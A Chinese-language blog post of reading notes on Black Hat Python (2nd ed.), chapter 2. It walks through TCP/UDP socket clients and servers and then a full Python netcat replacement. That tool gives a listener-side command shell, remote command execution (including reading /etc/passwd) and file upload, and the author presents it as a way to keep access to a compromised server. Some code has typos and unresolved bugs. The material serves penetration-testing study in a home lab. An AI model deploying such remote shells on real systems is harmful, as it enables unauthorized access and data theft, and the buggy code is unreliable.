黑帽python第二版(Black Hat Python 2nd Edition)读书笔记 之 第二章 网络工程基础(1)TCP客户端/服务端&Netcat
作者在本章的一开始,说了这么一句话:The network is and always will be the sexiest arena for a hacker。直接翻译过来,就是:网络是而且永远是黑客最性感的舞台。对于我这种菜鸡来说,目前还体会不到这种境界,希望后续能够跟上大神的节奏。 本章主要是介绍基于socket的python基础网络知识。本章也是后续章节的基础,基于本章的指示,我们将在后续章节中构建主机发现工具,实现化平台的嗅探,并创建远程特洛伊木马框架。 说明:原书中,作者是依次介绍了TCP客户端,UDP客户端,TCP服务端。新手执行过程中可能会有些困惑,因为有时候需要客户端和服务端配合完整一些事情,我这里做了顺序上的调整,依次为TCP客户端、TCP服务端、UDP客户端。
Python网络工程概述
在python中,程序员可以使用很对的第三方工具创建网络服务端和客户端,但是所有这些工具的核心模块都是socket。该模块包含了使用原始套接字快速开发TCP和UDP客户端/服务端的所有内容。
TCP客户端
在渗透测试期间,《Black Hat Python》的作者们需要无数次地启动一个TCP客户端来测试服务、发送垃圾数据、进行fuzz测试或者其它任务。如果在安全措施比较完善的大型企业中,不可能奢侈的适用各种编译工具、网络工具,有时候甚至复制粘贴或者联网都是困难的。这正是快速创建TCP客户端的便捷之处。下面的源代码实现了一个简单的基于socket的TCP客户端,废话不多说,直接上源代码。
import socket
target_host = "www.google.com"
target_port = 80
client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
client.connect((target_host, target_port))
client.send(b"GET / HTTP/1.1\r\nHost: google.com\r\n\r\n")
response = client.recv(4096)
print(response.decode())
client.close()
运行结果如下图,先不管返回内容,至少请求发到了服务端,并且也收到了来自服务端的响应。 这段代码中对socket做了很多严肃的假设,你肯定特别想知道。第一个假设就是,客户端对服务端的链接始终是成功的;第二个是服务端希望客户端先发送一些数据(其实,有些服务端会先发送数据到客户端,然后等待客户端的响应);第三个假设就是服务端将始终及时地向客户端返回数据。做这些假设主要是为了简单,便于理解。然而对于如何处理阻塞中的socket、socket异常处理等内容,程序员有着不同的看法,但是渗透着很少将这些细节构建到他们快速而且肮脏的工具之中,因此在本章节中将会省略类似的内容。
TCP Server
通过Python创建TCP服务端跟创建客户端一样简单。在写shell命令或者创建proxy时(后续我们将会实践这两者),我们可能需要使用自己的TCP服务端。下面将创建一个标准的多线程TCP服务端,先上代码。
import socket
import threading
IP = '0.0.0.0'
PORT = 9998
def main():
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((IP, PORT))
server.listen(5)
print(f'[*] Listening on {IP}:{PORT}')
while True:
client, address = server.accept()
print(f'[*] Accepted connection from {address[0]}:{address[1]}')
client_handler = threading.Thread(target = handle_client, args = (client,))
client_handler.start()
def handle_client(client_socket):
with client_socket as sock:
request = sock.recv(1024)
print(f'[*] Received: {request.decode("utf-8")}')
sock.send(b'ACK')
if __name__ == '__main__':
main()
上面这段代码在执行的时候,发现直接停在“Listening on 0.0.0.0:9998”就没有然后了,虽然书里到此为止没有讲这一块(包括的UDP Client),但是我猜测应该是代码正常起来了,在监听着0.0.0.0:9998。于是直接把前面TCP客户端的代码拿出来稍微修改一下IP地址和PORT跟这里对应起来,其它都不变,然后重新打开一个命令行窗口运行之(我这里没有在原来的TCP客户端代码上修改,而是又重新复制出来修改了一下),如下图。 果然,运行TCP客户端的时候,前面一直处于监听状态的TCP服务端收到了客户端发过来的消息,并且TCP服务端也给客户端返回了代码中的“ACK”,如下图。 这是一个完美并且简单的实例,并且也是非常有用的一段代码,在接下来的章节中我们将扩展它,届时我们将会创建一个netcat replacement(具体啥事netcat replacement我也不清楚,等后面学到的时候再说,我猜测可能是替换网络数据包的工具)和一个TCP代理。
UDP客户端
相比TCP客户端,python下的UDP客户端并没有复杂多少,只需做几个小的修改即可以UDP方式发送包。调整后的代码如下。
import socket
target_host = "127.0.0.1"
target_port = 9997
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
client.sendto(b"AAABBBCCC",(target_host,target_port))
data, addr = client.recvfrom(4096)
print(data.decode())
client.close()
但是运行的时候,在receive data那一行卡住了(其实根本就没有卡住,因为UDP客户端一直在监听4096端口,但是木有人给他发送数据),没有输出结果。我大胆猜测这是因为我只起了一个客户端,缺少UDP服务端,没人给我返回数据,我当然啥都接收不到。等后续了解了UDP服务端再回来看这个问题。
取代Netcat
Netcat是一种网络上的实用工具,因此它被精明的网络管理员从系统中剔除也就不足为奇了。这对攻击者来说也是及其有用的工具,通过这个工具,可以从网络上读取和写入数据,这意味着可以执行远程指令、上传/下载文件,甚至开启一个远程的shell。 大多数情况下,黑客进入的服务器没有netcat,但是有python。在这种情况下,创建一个简单的网络客户端和服务端用来上传文件,或者创建一个命令行访问的监听器是非常有用的。 如果黑客已经通过网络应用攻入,他绝对值得去设置一个python回调来提供辅助的接入访问,这不需要提前准备特洛伊木马或者后门程序。 废话不多说,先上一段代码。
import argparse
import socket
import shlex
import subprocess
import sys
import textwrap
import threading
def execute(cmd):
cmd = cmd.strp()
if not cmd:
return
output = subprocess.check_output(shlex.split(cmd), stderr=subprocess.STDOUT)
return output.decode()
到此为止,我们导入了所有需要的库,并且定义了execute执行函数,用来接收指令、运行指令,然后以字符串返回输出。函数中包含了一个之前我们到目前位置还未介绍的库:subprocess库。这个库提供了强大的进程创建入口,这会使得我们有多种方法跟客户端程序交互。本示例中我们使用subprocess库的check_output方法,该方法在本地操作系统上运行指令,然后返回输出。 然后,创建我们的主模块,用来处理命令行参数,以及调用我们其它的函数。
if __name__ == "__main__":
parser = argparse.ArgumentParser(
description='BHP Net Tool',
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog=textwrap.dedent('''Example:
netcat.py -t 192.168.1.108 -p 5555 -l -c # command shell
netcat.py -t 192.168.1.108 -p 5555 -l -u=mytest.txt #upload to file
netcat.py -t 192.168.1.108 -p 5555 -l -e=\"cat /etc/passwd\" #execute command
echo 'ABC' | ./netcat.py -t 192.168.1.108 -p 135 # echo text to server port 135
netcat.py -t 192.168.1.108 -p 5555 # connect to server
''')
)
parser.add_argument('-c', '--command', action='store_true', help='command shell')
parser.add_argument('-e', '--execute', help='execute specified command')
parser.add_argument('-l', '--listen', action='store_true', help='listen')
parser.add_argument('-p', '--port', type=int, default=5555, help='specified port')
parser.add_argument('-t', '--target', default='192.168.1.203', help='specified IP')
parser.add_argument('-u', '--upload', help='upload file')
args = parser.parse_args()
if args.listen:
buffer = ''
else:
buffer = sys.stdin.read()
nc = NetCat(args, buffer.encode())
nc.run()
在这里,我们使用标准库中的argparse模块来创建命令行入口。这样,我们就可以提供参数来进行上传文件、执行指令,或者启动shell。 当用户使用–help激活工具的时候,它将提供调用的示例用法,并且添加了6个参数来指示我们希望程序运行的方式。 如果我们要设置用来作为监听器,需要使用空的字符串buffer来唤醒NetCat对象,否则将从stdin发送buffer内容。不管怎么说,最终我们会调用run方法来启动它。 下面我们开始某些功能特性设置管道,先从我们的客户端开始。在main模块的上面添加如下的代码。
class NetCat:
def __init__(self, args, buffer=None):
self.args = args
self.buffer = buffer
self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
def run(self):
if self.args.listen:
self.listen()
else:
self.send()
我们使用从命令行和buffer来的参数来初始化NetCat对象,然后创建socket对象。对于run方法,这是管理NetCat对象的入口,非常简单:它把执行委托给了两个方法。如果我们设置的是监听器,则需要调用listen方法;否则我们将调用send方法。下面我们就设置一下send方法。
def send(self):
self.socket.connect((self.args.target, self.args.port))
if self.buffer:
self.socket.send(self.buffer)
try:
while True:
recv_len = 1
response = ''
while recv_len:
data = self.socket.recv(4096)
recv_len = len(data)
response += data.decode()
if recv_len < 4096:
break
if response:
print(response)
buffer = input('> ')
buffer += '\n'
self.socket.send(buffer.encode())
except KeyboardInterrupt:
print('User terminated.')
self.socket.close()
sys.exit()
接下来,我们将设置程序以监听器方式执行的方法。
def listen(self):
self.socket.bind((self.args.target, self.args.port))
self.socket.listen(5)
while True:
client_socket, _ = self.socket.accept()
client_thread = threading.Thread(
target = self.handle, args = (client_socket,)
)
client_thread.start()
接下来将会实施相关的逻辑,来实现文件上传、执行命令、创建交互式shell。程序以监听器操作时可以执行这些任务。
def handle(self, client_socket):
if self.args.execute:
output = execute(self.args.execute)
client_socket.send(output)
elif self.args.upload:
file_buffer = b''
while True:
data = client_socket.recv(4096)
if data:
file_buffer += data
else:
break
with open(self.args.upload, 'wb') as f:
f.write(file_buffer)
message = f'Saved file {self.args.upload}'
client_socket.send(message.encode())
elif self.args.command:
cmd_buffer = b''
while True:
try:
client_socket.send(b'BHP: #> ')
while '\n' not in cmd_buffer.decode():
cmd_buffer += client_socket.recv(64)
response = execute(cmd_buffer.decode())
if response:
client_socket.send(response.encode())
cmd_buffer = b''
except Exception as e:
print(f'server killed {e}')
self.socket.close()
sys.exit()
读者会注意到,shell会监控换行符来确定什么时候处理命令,者对于NetCat来说还是比较友好的。这意味着,你可以在监听侧使用这个程序,然后在发送侧使用netcat本身。然而,如果想让python的客户端与其对话,记得添加换行符。在send方法中,会看到我们确实在从控制台获取输入之后添加了换行符。
小试牛刀
现在,可以简单运行一下,查看一些输出。在一个终端命令行运行脚本带入 --help参数,运行结果如下。 现在kali上,起一个命令行窗口,使用自身的IP地址和5555端口起动一个监听器命令行shell,如下图所示,貌似已经处于监听状态。 然后,在我的linux mint虚拟机上起另一个命令行窗口,以客户端方式运行脚本。在命令行中输入EOF(end-of-file,在键盘敲入Ctrl+D即可发送EOF)。然而这时候没有得到书中预期的结果,不管我怎么输入Ctrl+D都没有反映,如下图。 现代码农的好处就是可以随时问度娘和狗狗。其中有位大神说,原书示例代码中,send方法中的“if recv_len < 4096:”这一行代码是错误的,相当于是说,从终端读入的代码是可能小于4096长度的。我直接改成了“if recv_len < 1:”,然后Ctrl+C杀掉两端的代码后重新运行试试看,这次如愿以偿,得到了如下图所示的提示符。 到此为止,感觉还算是正常的,并且我也尽量尊重了原书的代码,只是添加一些蹩脚的英文注释(因为我比较懒,还没有在kali上设置中文输入法)。然而执行下一个ls -la命令的时候,遇到了问题,在我的linux机器上运行命令是成功了的,得到了对应的输出(如下图),但是在kali上并没有出现预期的output。 接下来,当我故意输入一个没有的指令的时候,怪事发生了。 我的linux下面重复输出了之前上一个命令(ls -la)的output结果,如下图所示。 然而在kali机器上的命令行中,返回了第二个命令执行的错误输出,如下图所示。 这至少说明了两个问题:第一,程序的大方向是没有错误的;第二,两个机器上的程序是能够交互的,尽管不是预期的结果。距离成功又近了一步。先不管了,当做一个课后作业,有空再回来研究研究。为了尽快评估自己是否可以下手OSCP或者OSEP,先进行下一步。 在kali上执行-e="cat /etc/passwd"命令,即在远程linux机上执行"cat /etc/passwd"命令,如下图所示。 然后在远程linux上运行netcat,如下图所示。 然后在远程linux上执行Ctrl+D看看,这时候远程linux下出现了"cat /etc/passwd"命令的执行结果,即“/etc/passwd”文件的内容,如下图所示。 这说明,目前程序是可以运行的,但是还有一些bug。按道理远程linux应该直接显示命令运行的内容,而不需要我再输入一个Ctrl+D。 我一度有点怀疑人生了,之前写python代码也不算少,不至于这么菜鸡吧。好奇心驱使下,我把原书的source code全部down下来,然后跟我写的代码使用Beyond Compare进行比对,发现完全一致(唯一的不一致就是上面所述的那个” if recv_len < 4096:”,不修改的话,完全无法运行)。原书中也提到了,可以直接使用“nc IP PORT”来运行远程客户机上的程序,两边通过Ctrl+C杀掉,重新运行,这个时候,远程linux机器上不需要输入Ctrl+D可以直接输出kali上远程调用的命令的结果,如下图。 暂且不纠结了,先保持现状。 在netcat的最后,我们可以使用客户端以传统的方式发送请求,在kali或者linux机器上执行下面的命令。 $ echo -ne “GET / HTTP/1.1\r\nHost: reachtim.com\r\n\r\n” |python ./2_004_Netcat.py -t reachtim.com -p 80 得到如下图所示的输出,跟原书一致。 在kali上运行也是一样的,如下图。 另外说明一下,在这里还是碰到了一点小问题,根据原书的代码,运行上述命令的时候会报一个EOFError,如下图所示。 查找了一些资料,都感觉不太靠谱,最后发现,问题出在input方法本身。因为python规定只能在父进程里面调用input函数,不能在子进程里面调用input函数。于是,直接去掉input函数,直接使用“buffer = ‘> ’”,问题解决。 总之,虽然这不是一项超级技术,但这是用python将一些客户端和服务器socket拼装在一起用于邪恶目的的良好基础。这里只涵盖了基础知识,这里有很多发挥想象力的空间。接下来,我们将构建一个TCP代理,在任何攻击场景中这都是很有用的。
这篇文章到此为止吧,接下来将会介绍 TCP 代理。
|